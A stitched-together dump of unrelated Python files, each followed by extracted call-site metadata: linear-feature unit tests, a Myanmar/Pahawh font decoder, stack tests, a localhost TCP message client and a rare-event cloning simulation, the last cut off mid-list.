def testLen(self):
"""Tests overriding ``__len__``."""
self.assertEqual(len(self.feature), 3)
def testFormatReasons(self):
"""Tests ``FormatReasons`` returnes a list of formated reasons."""
feature0 = Feature0()
feature1 = Feature1()
feature2 = Feature2()
meta_feature = MetaFeatureValue(
'dummy',
{feature0.name: feature0(1)(False),
'meta': MetaFeatureValue(
'meta',
{feature1.name: feature1(2)(True),
feature2.name: feature2(3)(True)})})
self.assertEqual(meta_feature.reason, {'Feature0': 'reason0',
'Feature1': 'reason1',
'Feature2': 'reason2'})
self.assertEqual(meta_feature.reason, meta_feature._reason)
def testAggregateChangedFilesAggregates(self):
"""Test that ``AggregateChangedFiles`` does aggregate reasons per file.
In the main/inner loop of ``AggregateChangedFiles``: if multiple
features all blame the same file change, we try to aggregate those
reasons so that we only report the file once (with all reasons). None
of the other tests here actually check the case where the same file
is blamed multiple times, so we check that here.
In particular, we provide the same ``FeatureValue`` twice, and
hence the same ``ChangedFile`` twice; so we should get back a single
``ChangedFile`` but with the ``reasons`` fields concatenated.
"""
self.assertListEqual(self.feature.changed_files,
[ChangedFile(name='a.cc',
blame_url=None,
reasons=['file_reason0']),
ChangedFile(name='b.cc',
blame_url=None,
reasons=['file_reason0',
'file_reason1'])])
self.assertEqual(self.feature.changed_files,
self.feature._changed_files)
class WrapperMetaFeatureTest(LinearTestCase):
def testWrapperMetaFeatureWrapsIndependentFeatures(self):
for x in self._X:
for y in self._Y(x):
self.assertTrue(
self._meta_feature(x)(y) ==
MetaFeatureValue('WrapperFeature',
{'Feature0': Feature0()(x)(y),
'Feature1': Feature1()(x)(y),
'Feature2': Feature2()(x)(y),
'WrapperFeature': MetaFeatureValue(
'WrapperFeature',
{'Feature3': Feature3()(x)(y),
'Feature4': Feature4()(x)(y)})}))
| [
"libs.math.logarithms.log",
"analysis.linear.linear_testcase.Feature0",
"copy.deepcopy",
"analysis.linear.linear_testcase.Feature3",
"analysis.linear.feature.LogLinearlyScaled",
"analysis.linear.feature.ChangedFile",
"analysis.linear.feature.LinearlyScaled",
"analysis.linear.linear_testcase.Feature1",... | [((2331, 2358), 'copy.deepcopy', 'copy.deepcopy', (['self.feature'], {}), '(self.feature)\n', (2344, 2358), False, 'import copy\n'), ((2731, 2741), 'analysis.linear.linear_testcase.Feature0', 'Feature0', ([], {}), '()\n', (2739, 2741), False, 'from analysis.linear.linear_testcase import Feature0\n'), ((2757, 2767), 'analysis.linear.linear_testcase.Feature1', 'Feature1', ([], {}), '()\n', (2765, 2767), False, 'from analysis.linear.linear_testcase import Feature1\n'), ((2783, 2793), 'analysis.linear.linear_testcase.Feature2', 'Feature2', ([], {}), '()\n', (2791, 2793), False, 'from analysis.linear.linear_testcase import Feature2\n'), ((911, 948), 'analysis.linear.feature.LinearlyScaled', 'feature.LinearlyScaled', (['(0.0)', '_MAXIMUM'], {}), '(0.0, _MAXIMUM)\n', (933, 948), False, 'from analysis.linear import feature\n'), ((1129, 1167), 'analysis.linear.feature.LinearlyScaled', 'feature.LinearlyScaled', (['(42.0)', '_MAXIMUM'], {}), '(42.0, _MAXIMUM)\n', (1151, 1167), False, 'from analysis.linear import feature\n'), ((1306, 1340), 'analysis.linear.feature.LinearlyScaled', 'feature.LinearlyScaled', (['(42.0)', '(10.0)'], {}), '(42.0, 10.0)\n', (1328, 1340), False, 'from analysis.linear import feature\n'), ((1484, 1524), 'analysis.linear.feature.LogLinearlyScaled', 'feature.LogLinearlyScaled', (['(0.0)', '_MAXIMUM'], {}), '(0.0, _MAXIMUM)\n', (1509, 1524), False, 'from analysis.linear import feature\n'), ((1667, 1706), 'libs.math.logarithms.log', 'lmath.log', (['((_MAXIMUM - 42.0) / _MAXIMUM)'], {}), '((_MAXIMUM - 42.0) / _MAXIMUM)\n', (1676, 1706), True, 'import libs.math.logarithms as lmath\n'), ((1715, 1756), 'analysis.linear.feature.LogLinearlyScaled', 'feature.LogLinearlyScaled', (['(42.0)', '_MAXIMUM'], {}), '(42.0, _MAXIMUM)\n', (1740, 1756), False, 'from analysis.linear import feature\n'), ((1918, 1955), 'analysis.linear.feature.LogLinearlyScaled', 'feature.LogLinearlyScaled', (['(42.0)', '(10.0)'], {}), '(42.0, 10.0)\n', (1943, 1955), False, 'from analysis.linear import feature\n'), ((4070, 4136), 'analysis.linear.feature.ChangedFile', 'ChangedFile', ([], {'name': '"""a.cc"""', 'blame_url': 'None', 'reasons': "['file_reason0']"}), "(name='a.cc', blame_url=None, reasons=['file_reason0'])\n", (4081, 4136), False, 'from analysis.linear.feature import ChangedFile\n'), ((4240, 4326), 'analysis.linear.feature.ChangedFile', 'ChangedFile', ([], {'name': '"""b.cc"""', 'blame_url': 'None', 'reasons': "['file_reason0', 'file_reason1']"}), "(name='b.cc', blame_url=None, reasons=['file_reason0',\n 'file_reason1'])\n", (4251, 4326), False, 'from analysis.linear.feature import ChangedFile\n'), ((2139, 2149), 'analysis.linear.feature', 'feature', (['(3)'], {}), '(3)\n', (2146, 2149), False, 'from analysis.linear import feature\n'), ((2191, 2201), 'analysis.linear.linear_testcase.Feature0', 'Feature0', ([], {}), '()\n', (2199, 2201), False, 'from analysis.linear.linear_testcase import Feature0\n'), ((2203, 2213), 'analysis.linear.linear_testcase.Feature1', 'Feature1', ([], {}), '()\n', (2211, 2213), False, 'from analysis.linear.linear_testcase import Feature1\n'), ((2215, 2225), 'analysis.linear.linear_testcase.Feature3', 'Feature3', ([], {}), '()\n', (2223, 2225), False, 'from analysis.linear.linear_testcase import Feature3\n'), ((4859, 4869), 'analysis.linear.linear_testcase.Feature0', 'Feature0', ([], {}), '()\n', (4867, 4869), False, 'from analysis.linear.linear_testcase import Feature0\n'), ((4919, 4929), 'analysis.linear.linear_testcase.Feature1', 'Feature1', ([], {}), '()\n', (4927, 4929), False, 'from analysis.linear.linear_testcase import Feature1\n'), ((4979, 4989), 'analysis.linear.linear_testcase.Feature2', 'Feature2', ([], {}), '()\n', (4987, 4989), False, 'from analysis.linear.linear_testcase import Feature2\n'), ((5162, 5172), 'analysis.linear.linear_testcase.Feature3', 'Feature3', ([], {}), '()\n', (5170, 5172), False, 'from analysis.linear.linear_testcase import Feature3\n'), ((5227, 5237), 'analysis.linear.linear_testcase.Feature4', 'Feature4', ([], {}), '()\n', (5235, 5237), False, 'from analysis.linear.linear_testcase import Feature4\n')] |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
import os
import regex as re
fontmap_directory = os.path.dirname(__file__) + '/fontmaps/'
fontmaps = {}
for font in ['JG_Pahawh_Third_Version', 'JG_Pahawh_Final_Version']:
fontmaps['{}.ttf'.format(font)] = json.load(open(fontmap_directory + '{}.json'.format(font)))
def _decode_Myanmar1(string):
string = string.replace('\u1039\u101a', '\u103b')
string = string.replace('\u1039\u101b', '\u103c')
string = string.replace('\u1039\u101d', '\u103d')
string = string.replace('\u1039\u101f', '\u103e')
string = re.sub(r'\u1004\u1039([\u1000-\u1021\u1025])', '\u1004\u103a\u1039\g<1>', string)
string = string.replace('\u101e\u1039\u101e', '\u103f')
string = re.sub(r'([\u1036-\u1038])(\u1039)', '\g<2>\g<1>', string)
string = re.sub(r'\u1039(?![\u1000-\u1003\u1005-\u1008\u100b\u100c\u100f-\u1019\u101c])', '\u103a', string)
string = re.sub(r'([\u1001\u1002\u1004\u1012\u1015\u101d])\u102c', '\g<1>\u102b', string)
string = re.sub(r'([\u102f\u1030])([\u102d\u102e\u1032])', '\g<2>\g<1>', string)
string = re.sub(r'(\u1036)(\u1037)', '\g<2>\g<1>', string)
string = re.sub(r'[\u200c\u200d]', '', string)
return string
def decode(string, font):
if font == 'Myanmar1.ttf': return _decode_Myanmar1(string)
output = ''
for c in string:
try:
for char in fontmaps[font][hex(ord(c))].split():
output += (chr(int(char, 16)))
except KeyError:
output += c
return output
| [
"os.path.dirname",
"regex.sub"
] | [((110, 135), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (125, 135), False, 'import os\n'), ((592, 663), 'regex.sub', 're.sub', (['"""\\\\u1004\\\\u1039([\\\\u1000-\\\\u1021\\\\u1025])"""', '"""င်္\\\\g<1>"""', 'string'], {}), "('\\\\u1004\\\\u1039([\\\\u1000-\\\\u1021\\\\u1025])', 'င်္\\\\g<1>', string)\n", (598, 663), True, 'import regex as re\n'), ((747, 809), 'regex.sub', 're.sub', (['"""([\\\\u1036-\\\\u1038])(\\\\u1039)"""', '"""\\\\g<2>\\\\g<1>"""', 'string'], {}), "('([\\\\u1036-\\\\u1038])(\\\\u1039)', '\\\\g<2>\\\\g<1>', string)\n", (753, 809), True, 'import regex as re\n'), ((819, 931), 'regex.sub', 're.sub', (['"""\\\\u1039(?![\\\\u1000-\\\\u1003\\\\u1005-\\\\u1008\\\\u100b\\\\u100c\\\\u100f-\\\\u1019\\\\u101c])"""', '"""်"""', 'string'], {}), "(\n '\\\\u1039(?![\\\\u1000-\\\\u1003\\\\u1005-\\\\u1008\\\\u100b\\\\u100c\\\\u100f-\\\\u1019\\\\u101c])'\n , '်', string)\n", (825, 931), True, 'import regex as re\n'), ((931, 1017), 'regex.sub', 're.sub', (['"""([\\\\u1001\\\\u1002\\\\u1004\\\\u1012\\\\u1015\\\\u101d])\\\\u102c"""', '"""\\\\g<1>ါ"""', 'string'], {}), "('([\\\\u1001\\\\u1002\\\\u1004\\\\u1012\\\\u1015\\\\u101d])\\\\u102c', '\\\\g<1>ါ',\n string)\n", (937, 1017), True, 'import regex as re\n'), ((1025, 1102), 'regex.sub', 're.sub', (['"""([\\\\u102f\\\\u1030])([\\\\u102d\\\\u102e\\\\u1032])"""', '"""\\\\g<2>\\\\g<1>"""', 'string'], {}), "('([\\\\u102f\\\\u1030])([\\\\u102d\\\\u102e\\\\u1032])', '\\\\g<2>\\\\g<1>', string)\n", (1031, 1102), True, 'import regex as re\n'), ((1110, 1162), 'regex.sub', 're.sub', (['"""(\\\\u1036)(\\\\u1037)"""', '"""\\\\g<2>\\\\g<1>"""', 'string'], {}), "('(\\\\u1036)(\\\\u1037)', '\\\\g<2>\\\\g<1>', string)\n", (1116, 1162), True, 'import regex as re\n'), ((1173, 1211), 'regex.sub', 're.sub', (['"""[\\\\u200c\\\\u200d]"""', '""""""', 'string'], {}), "('[\\\\u200c\\\\u200d]', '', string)\n", (1179, 1211), True, 'import regex as re\n')] |
from typing import NoReturn
import pytest
from lazycoco.stack import MyStack, EmptyStackException
def test_int_push_three_and_pop_one() -> NoReturn:
# Given
stack: MyStack[int] = MyStack()
stack.push(1)
stack.push(2)
stack.push(3)
# When
element: int = stack.pop()
# Then
assert element == 3
assert stack.peek() == 2
assert stack.peek() == 2
assert not stack.empty()
def test_integer_push_three_and_pop_three() -> NoReturn:
# Given
stack: MyStack[int] = MyStack()
stack.push(1)
stack.push(2)
stack.push(3)
# When
first_empty_check: bool = stack.empty()
first_peek: int = stack.peek()
second_empty_check: bool = stack.empty()
first_popped_element: int = stack.pop()
third_empty_check: bool = stack.empty()
second_peek: int = stack.peek()
fourth_empty_check: bool = stack.empty()
second_popped_element: int = stack.pop()
fifth_empty_check: bool = stack.empty()
third_peek: int = stack.peek()
sixth_empty_check: bool = stack.empty()
third_popped_element: int = stack.pop()
seventh_empty_check = stack.empty()
# Then
assert first_peek == 3
assert first_popped_element == 3
assert second_peek == 2
assert second_popped_element == 2
assert third_peek == 1
assert third_popped_element == 1
assert not first_empty_check
assert not second_empty_check
assert not third_empty_check
assert not fourth_empty_check
assert not fifth_empty_check
assert not sixth_empty_check
assert seventh_empty_check
def test_str_push_one_and_pop_one() -> NoReturn:
# Given
stack: MyStack[str] = MyStack()
stack.push('one')
# When
element: str = stack.pop()
# Then
assert element == 'one'
assert stack.empty()
def test_pop_throws_exception_when_empty() -> NoReturn:
# Given
stack: MyStack[int] = MyStack()
# When # Then
with pytest.raises(EmptyStackException):
stack.pop()
def test_peek_throws_exception_when_empty() -> NoReturn:
# Given
stack: MyStack[int] = MyStack()
# When # Then
with pytest.raises(EmptyStackException):
stack.peek()
| [
"pytest.raises",
"lazycoco.stack.MyStack"
] | [((191, 200), 'lazycoco.stack.MyStack', 'MyStack', ([], {}), '()\n', (198, 200), False, 'from lazycoco.stack import MyStack, EmptyStackException\n'), ((518, 527), 'lazycoco.stack.MyStack', 'MyStack', ([], {}), '()\n', (525, 527), False, 'from lazycoco.stack import MyStack, EmptyStackException\n'), ((1665, 1674), 'lazycoco.stack.MyStack', 'MyStack', ([], {}), '()\n', (1672, 1674), False, 'from lazycoco.stack import MyStack, EmptyStackException\n'), ((1901, 1910), 'lazycoco.stack.MyStack', 'MyStack', ([], {}), '()\n', (1908, 1910), False, 'from lazycoco.stack import MyStack, EmptyStackException\n'), ((2092, 2101), 'lazycoco.stack.MyStack', 'MyStack', ([], {}), '()\n', (2099, 2101), False, 'from lazycoco.stack import MyStack, EmptyStackException\n'), ((1939, 1973), 'pytest.raises', 'pytest.raises', (['EmptyStackException'], {}), '(EmptyStackException)\n', (1952, 1973), False, 'import pytest\n'), ((2130, 2164), 'pytest.raises', 'pytest.raises', (['EmptyStackException'], {}), '(EmptyStackException)\n', (2143, 2164), False, 'import pytest\n')] |
#!/usr/bin/env python
import socket
import sys
import time
message = ['This is the message. Send from client "127.0.0.1" on port "2016"',
'This is a second message. Send from client "127.0.0.1" on port "2016"']
i = 0
while True:
try:
# Create a TCP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect the socket to the port where the server is listening
server_address = ('localhost', 2016)
print >>sys.stderr, 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send data
print >>sys.stderr, 'sending "%s"' % message[i]
sock.sendall(message[i])
i = i + 1
if i >= 2:
i = 0
time.sleep(2)
# Look for the response
# amount_received = 0
# amount_expected = len(message)
# # #
# while amount_received < amount_expected:
# data = sock.recv(4096)
# amount_received += len(data)
# print >>sys.stderr, 'received "%s"' % data
# time.sleep(2)
# if data == "w":
# print "Recieved W"
finally:
print >>sys.stderr, 'closing socket'
sock.close()
| [
"time.sleep",
"socket.socket"
] | [((305, 354), 'socket.socket', 'socket.socket', (['socket.AF_INET', 'socket.SOCK_STREAM'], {}), '(socket.AF_INET, socket.SOCK_STREAM)\n', (318, 354), False, 'import socket\n'), ((753, 766), 'time.sleep', 'time.sleep', (['(2)'], {}), '(2)\n', (763, 766), False, 'import time\n')] |
import numpy as np
import sys
import qoi as qoi
import parallel as par
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ !
# ~~~~ Selection without replacement
# ~~~~ Sample K numbers from an array 0...N-1 and output them
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ !
def ransam(N,K):
if N<K:
print("ERROR in ransam: N = " + str(N) + " < K = "+str(K) )
sys.exit()
return np.random.choice(list(range(N)), size=K, replace=False)
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ !
# ~~~~ Selection with replacement
# ~~~~ Sample K numbers from an array 0...N-1 and output them
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ !
def ransam_rep(N,K):
return np.random.choice(list(range(N)), size=K, replace=True)
def simSetUp(inpt,Sim):
NSim = Sim['NSim']
nmax = Sim['nmax']
# MPI parallelization
Sim['NRep'] = int(inpt['NRep'])
nRep_, startRep_ = par.partitionSim(Sim['NRep'])
Sim['nRep_'] = nRep_
Sim['startRep_'] = startRep_
Sim['Target level'] = float(inpt['Target level'])
Sim['Nselection'] = int(inpt['Nselection'])
Sim['Cweight'] = float(inpt['Cweight'])
Sim['Epsilon clone'] = float(inpt['Epsilon clone'])
Sim['Min target level'] = float(inpt['Min target level'])
Sim['Max target level'] = float(inpt['Max target level'])
Sim['Number of thresholds'] = int(inpt['Number of thresholds'])
Sim['NselectionThreshold'] = int(round((nmax+1)/Sim['Nselection'])) # Number of steps between cloning
Sim['NselectionTotal'] = int((nmax+1)/Sim['NselectionThreshold']) # Actual number of cloning
minLevel = Sim['Min target level']
maxLevel = Sim['Max target level']
nLevels = Sim['Number of thresholds']
Sim['Levels'] = np.linspace(minLevel,maxLevel,nLevels)
# Post proc
Sim['Plot ISP CDF'] = (inpt['Plot ISP CDF']=='True')
if Sim['Plot ISP CDF']:
Sim['True CDF file'] = inpt['True CDF file']
Sim['Plot kill history'] = (inpt['Plot kill history']=='True')
par.printRoot('Asked for ' + str(Sim['Nselection']) + ' cloning steps')
par.printRoot('Will perform ' + str(Sim['NselectionTotal']) + ' cloning steps')
par.printRoot('Number of step between cloning ' + str(Sim['NselectionThreshold']))
# Make sure the cloning step properly divide the simulation
if nmax+1-Sim['NselectionThreshold']*Sim['NselectionTotal'] > Sim['NselectionThreshold']:
par.printRoot('ERROR: Problem in setup of number of cloning steps')
sys.exit()
if nmax+1-Sim['NselectionThreshold']*Sim['NselectionTotal'] < 5:
par.printRoot('WARNING: last cloning will be done with ' + str(nmax+1-Sim['NselectionThreshold']*Sim['NselectionTotal']) +'steps')
# Monitor
Sim['numberKills'] = np.zeros((Sim['NselectionTotal'],Sim['nRep_']))
Sim['probabilities'] = np.zeros((Sim['Number of thresholds'],Sim['nRep_']))
Sim['Elastclone'] = np.zeros(NSim)
Sim['W'] = np.zeros((nmax+1,NSim))
Sim['Wbar'] = np.zeros((nmax+1,NSim))
Sim['Z'] = np.zeros(nmax+1)
Sim['numberClones'] = np.zeros(NSim,dtype=int)
Sim['nCloneAvail'] = 0
# Useful markers
Sim['Ni'] = 0 # Timestep counter to know when to clone
Sim['NselectionLoc'] = 0 # how many times have we cloned
Sim['timestepLastClone'] = 0 # when was the last cloning
# For probabilities computation
Sim['F_prob'] = np.zeros(NSim)
Sim['Rw'] = np.zeros(Sim['NselectionTotal']+1)
# Rare path
try:
Sim['UseRarePath'] = (inpt['UseRarePath']=='True')
except KeyError:
Sim['UseRarePath'] = False
if Sim['UseRarePath']:
Sim['RarePathFile'] = inpt['RarePathFile']
Sim['scaleFlucC'] = float(inpt['scaleFlucC'])
Sim['meanPath'] = np.load(Sim['RarePathFile'])['meanPath']
Sim['varPath'] = (np.load(Sim['RarePathFile'])['stdPath'])**2
Sim['rarePath'] = np.load(Sim['RarePathFile'])['rarePath']
for i in range(len(Sim['varPath'])):
if Sim['varPath'][i]<1e-6:
Sim['varPath'][i] = np.amax(Sim['varPath'])
def reset(Sim):
NSim = Sim['NSim']
nmax = Sim['nmax']
Sim['Elastclone'] = np.zeros(NSim)
Sim['W'] = np.zeros((nmax+1,NSim))
Sim['Wbar'] = np.zeros((nmax+1,NSim))
Sim['Z'] = np.zeros(nmax+1)
Sim['numberClones'] = np.zeros(NSim,dtype=int)
Sim['nCloneAvail'] = 0
# Useful markers
Sim['Ni'] = 0 # Timestep counter to know when to clone
Sim['NselectionLoc'] = 0 # how many times have we cloned
Sim['timestepLastClone'] = 0 # when was the last cloning
# For probabilities computation
Sim['F_prob'] = np.zeros(NSim)
Sim['Rw'] = np.zeros(Sim['NselectionTotal']+1)
def computeRareFlucC(Sim,itime):
return Sim['scaleFlucC']*(Sim['rarePath'][itime] - Sim['meanPath'][itime])/Sim['varPath'][itime]
def computeWeights(Sim,itime):
qoi = Sim['qoiTot'][itime,0,:]
# Weights
if not Sim['UseRarePath']:
Sim['W'][itime,:] = np.exp(Sim['Cweight']*(qoi-Sim['Elastclone']))
else:
C = computeRareFlucC(Sim,itime)
ClastClone = computeRareFlucC(Sim,Sim['timestepLastClone'])
Sim['W'][itime,:] = np.exp(C*qoi-ClastClone*Sim['Elastclone'])
# Advance markers
Sim['NselectionLoc'] += 1
#print("cloning # " + str(Sim['NselectionLoc']))
# Reinitialize timestep marker
Sim['Ni'] = 0
# Compute Z
Sim['Z'][itime] = np.mean(Sim['W'][itime,:])
# Initialize parameters for cloning
rnd = np.random.rand(Sim['NSim'])#random numbers between 0 and 1
Sim['Wbar'][itime,:] = Sim['W'][itime,:]/Sim['Z'][itime]
Sim['numberClones'] = np.maximum(np.floor(Sim['Wbar'][itime,:]+rnd),0)
def clone(Sim,itime,irep):
# ~~~~ Get the difference between how many clones are created and how many total simulations should be there
numberDiff = int(np.sum(Sim['numberClones']) - Sim['NSim'])
# How many trajectories have numberClones>0
Iavail = np.argwhere(Sim['numberClones']>0)
numberAvail = len(Iavail)
# ~~~~ Balance the number of sim
# If the number of sim is too high, remove some of them randomly
if numberDiff>0:
# Select simulations to kill
toKill = ransam(numberAvail,numberDiff)
# Kill
Sim['numberClones'][Iavail[toKill]] -= 1
# ~~~~ Balance the number of sim
# If the number of sim is too low, add some of them randomly
if numberDiff<0:
# Select simulations to clone
toClone = ransam_rep(numberAvail,-numberDiff)
# Clone
for indClone in list(toClone):
Sim['numberClones'][Iavail[indClone]] += 1
# ~~~~ Verify that the number of simulation is good
if not np.sum(Sim['numberClones']) - Sim['NSim'] == 0:
print("ERROR in clone: number of clones inconsistent with total number of Sim")
sys.exit()
# ~~~~ Now, perform the cloning: assign the clone to the right simulations
# Find the simulations that should be killed
# These are the ones that will host the clones !
# First get the number of simulations that are killed
Ikilled = np.argwhere(Sim['numberClones']<=0)
numberKilled = len(Ikilled)
# Get the simulations that are cloned
Icloned = np.argwhere(Sim['numberClones']>1)
# Monitor number of kills
Sim['numberKills'][Sim['NselectionLoc']-1,irep] = numberKilled
# ~~~~ Now clone simulations
# Take a simulation to kill and replace it with a simulatiion to clone
epsilonClone = Sim['Epsilon clone']
if numberKilled >0 and np.amax(Sim['numberClones'])>1:
counter = -1
for iclone in list(Icloned):
nclones = int(Sim['numberClones'][iclone] - 1)
for p in range(nclones):
counter += 1
Sim['u'][:,Ikilled[counter]] = Sim['u'][:,iclone] + epsilonClone*np.random.normal(loc=0.0,
scale=1.0,
size=(Sim['u'].shape[0],1))
Sim['qoiTot'][:itime+1,0,Ikilled[counter]] = Sim['qoiTot'][:itime+1,0,iclone]
Sim['numberClones'][iclone] -= 1
Sim['numberClones'][Ikilled[counter]] += 1
# Verify that the number of simulation is good
if not np.sum(Sim['numberClones']) == Sim['NSim']:
print('ERROR in clone: number of clone inconsistent with NSim')
sys.exit()
def prestep(u,Sim,itime):
if Sim['Ni'] == 0:
Sim['timestepLastClone'] = itime-1#*Sim['Timestep']
Sim['Elastclone'] = Sim['qoiFunc'](u)
else:
return
def step(Sim):
Sim['Ni'] += 1
def poststep(Sim,itime,irep):
if not Sim['Ni'] == Sim['NselectionThreshold']:
return
computeWeights(Sim,itime)
clone(Sim,itime,irep)
def finalize(Sim,irep):
qoiEnd = Sim['qoiTot'][-1,0,:]
qoiInit = Sim['qoiTot'][0,0,:]
# Weights
if not Sim['UseRarePath']:
Sim['W'][-1,:] = np.exp(Sim['Cweight']*(qoiEnd-Sim['Elastclone']))
else:
C = computeRareFlucC(Sim,-1)
ClastClone = computeRareFlucC(Sim,Sim['timestepLastClone'])
Sim['W'][-1,:] = np.exp(C*qoiEnd-ClastClone*Sim['Elastclone'])
#print("Finalize splitting")
# Compute Z
#Sim['Z'][-1] = 1
Sim['Z'][-1] = np.mean(Sim['W'][-1,:])
# Compute for each level
for ilevel, level in enumerate(Sim['Levels'].tolist()):
Sim['F_prob'] = np.zeros(Sim['NSim'])
indLevel = np.argwhere(qoiEnd>=level)
if not Sim['UseRarePath']:
Sim['F_prob'][indLevel] = np.exp(Sim['Cweight']*(qoiInit[indLevel] - qoiEnd[indLevel]))
else:
CEnd = computeRareFlucC(Sim,-1)
CInit = computeRareFlucC(Sim,0)
Sim['F_prob'][indLevel] = np.exp(CInit*qoiInit[indLevel] - CEnd*qoiEnd[indLevel])
productZ=1.0
for itimestep in range(Sim['nmax']+1):
if abs(Sim['Z'][itimestep])>1e-12:
productZ = productZ*Sim['Z'][itimestep]
sumF = np.sum(Sim['F_prob'])
Sim['probabilities'][ilevel,irep] = sumF*productZ/Sim['NSim']
| [
"numpy.random.normal",
"numpy.mean",
"numpy.random.rand",
"parallel.printRoot",
"numpy.floor",
"parallel.partitionSim",
"numpy.exp",
"numpy.linspace",
"numpy.zeros",
"numpy.argwhere",
"numpy.sum",
"sys.exit",
"numpy.load",
"numpy.amax"
] | [((1027, 1056), 'parallel.partitionSim', 'par.partitionSim', (["Sim['NRep']"], {}), "(Sim['NRep'])\n", (1043, 1056), True, 'import parallel as par\n'), ((1855, 1895), 'numpy.linspace', 'np.linspace', (['minLevel', 'maxLevel', 'nLevels'], {}), '(minLevel, maxLevel, nLevels)\n', (1866, 1895), True, 'import numpy as np\n'), ((2880, 2928), 'numpy.zeros', 'np.zeros', (["(Sim['NselectionTotal'], Sim['nRep_'])"], {}), "((Sim['NselectionTotal'], Sim['nRep_']))\n", (2888, 2928), True, 'import numpy as np\n'), ((2955, 3008), 'numpy.zeros', 'np.zeros', (["(Sim['Number of thresholds'], Sim['nRep_'])"], {}), "((Sim['Number of thresholds'], Sim['nRep_']))\n", (2963, 3008), True, 'import numpy as np\n'), ((3033, 3047), 'numpy.zeros', 'np.zeros', (['NSim'], {}), '(NSim)\n', (3041, 3047), True, 'import numpy as np\n'), ((3063, 3089), 'numpy.zeros', 'np.zeros', (['(nmax + 1, NSim)'], {}), '((nmax + 1, NSim))\n', (3071, 3089), True, 'import numpy as np\n'), ((3105, 3131), 'numpy.zeros', 'np.zeros', (['(nmax + 1, NSim)'], {}), '((nmax + 1, NSim))\n', (3113, 3131), True, 'import numpy as np\n'), ((3144, 3162), 'numpy.zeros', 'np.zeros', (['(nmax + 1)'], {}), '(nmax + 1)\n', (3152, 3162), True, 'import numpy as np\n'), ((3187, 3212), 'numpy.zeros', 'np.zeros', (['NSim'], {'dtype': 'int'}), '(NSim, dtype=int)\n', (3195, 3212), True, 'import numpy as np\n'), ((3505, 3519), 'numpy.zeros', 'np.zeros', (['NSim'], {}), '(NSim)\n', (3513, 3519), True, 'import numpy as np\n'), ((3536, 3572), 'numpy.zeros', 'np.zeros', (["(Sim['NselectionTotal'] + 1)"], {}), "(Sim['NselectionTotal'] + 1)\n", (3544, 3572), True, 'import numpy as np\n'), ((4310, 4324), 'numpy.zeros', 'np.zeros', (['NSim'], {}), '(NSim)\n', (4318, 4324), True, 'import numpy as np\n'), ((4340, 4366), 'numpy.zeros', 'np.zeros', (['(nmax + 1, NSim)'], {}), '((nmax + 1, NSim))\n', (4348, 4366), True, 'import numpy as np\n'), ((4382, 4408), 'numpy.zeros', 'np.zeros', (['(nmax + 1, NSim)'], {}), '((nmax + 1, NSim))\n', (4390, 4408), True, 'import numpy as np\n'), ((4421, 4439), 'numpy.zeros', 'np.zeros', (['(nmax + 1)'], {}), '(nmax + 1)\n', (4429, 4439), True, 'import numpy as np\n'), ((4464, 4489), 'numpy.zeros', 'np.zeros', (['NSim'], {'dtype': 'int'}), '(NSim, dtype=int)\n', (4472, 4489), True, 'import numpy as np\n'), ((4782, 4796), 'numpy.zeros', 'np.zeros', (['NSim'], {}), '(NSim)\n', (4790, 4796), True, 'import numpy as np\n'), ((4813, 4849), 'numpy.zeros', 'np.zeros', (["(Sim['NselectionTotal'] + 1)"], {}), "(Sim['NselectionTotal'] + 1)\n", (4821, 4849), True, 'import numpy as np\n'), ((5569, 5596), 'numpy.mean', 'np.mean', (["Sim['W'][itime, :]"], {}), "(Sim['W'][itime, :])\n", (5576, 5596), True, 'import numpy as np\n'), ((5647, 5674), 'numpy.random.rand', 'np.random.rand', (["Sim['NSim']"], {}), "(Sim['NSim'])\n", (5661, 5674), True, 'import numpy as np\n'), ((6110, 6146), 'numpy.argwhere', 'np.argwhere', (["(Sim['numberClones'] > 0)"], {}), "(Sim['numberClones'] > 0)\n", (6121, 6146), True, 'import numpy as np\n'), ((7288, 7325), 'numpy.argwhere', 'np.argwhere', (["(Sim['numberClones'] <= 0)"], {}), "(Sim['numberClones'] <= 0)\n", (7299, 7325), True, 'import numpy as np\n'), ((7414, 7450), 'numpy.argwhere', 'np.argwhere', (["(Sim['numberClones'] > 1)"], {}), "(Sim['numberClones'] > 1)\n", (7425, 7450), True, 'import numpy as np\n'), ((9560, 9584), 'numpy.mean', 'np.mean', (["Sim['W'][-1, :]"], {}), "(Sim['W'][-1, :])\n", (9567, 9584), True, 'import numpy as np\n'), ((441, 451), 'sys.exit', 'sys.exit', ([], {}), '()\n', (449, 451), False, 'import sys\n'), ((2539, 2606), 'parallel.printRoot', 'par.printRoot', (['"""ERROR: Problem in setup of number of cloning steps"""'], {}), "('ERROR: Problem in setup of number of cloning steps')\n", (2552, 2606), True, 'import parallel as par\n'), ((2615, 2625), 'sys.exit', 'sys.exit', ([], {}), '()\n', (2623, 2625), False, 'import sys\n'), ((5132, 5182), 'numpy.exp', 'np.exp', (["(Sim['Cweight'] * (qoi - Sim['Elastclone']))"], {}), "(Sim['Cweight'] * (qoi - Sim['Elastclone']))\n", (5138, 5182), True, 'import numpy as np\n'), ((5325, 5373), 'numpy.exp', 'np.exp', (["(C * qoi - ClastClone * Sim['Elastclone'])"], {}), "(C * qoi - ClastClone * Sim['Elastclone'])\n", (5331, 5373), True, 'import numpy as np\n'), ((5805, 5842), 'numpy.floor', 'np.floor', (["(Sim['Wbar'][itime, :] + rnd)"], {}), "(Sim['Wbar'][itime, :] + rnd)\n", (5813, 5842), True, 'import numpy as np\n'), ((7020, 7030), 'sys.exit', 'sys.exit', ([], {}), '()\n', (7028, 7030), False, 'import sys\n'), ((8675, 8685), 'sys.exit', 'sys.exit', ([], {}), '()\n', (8683, 8685), False, 'import sys\n'), ((9228, 9281), 'numpy.exp', 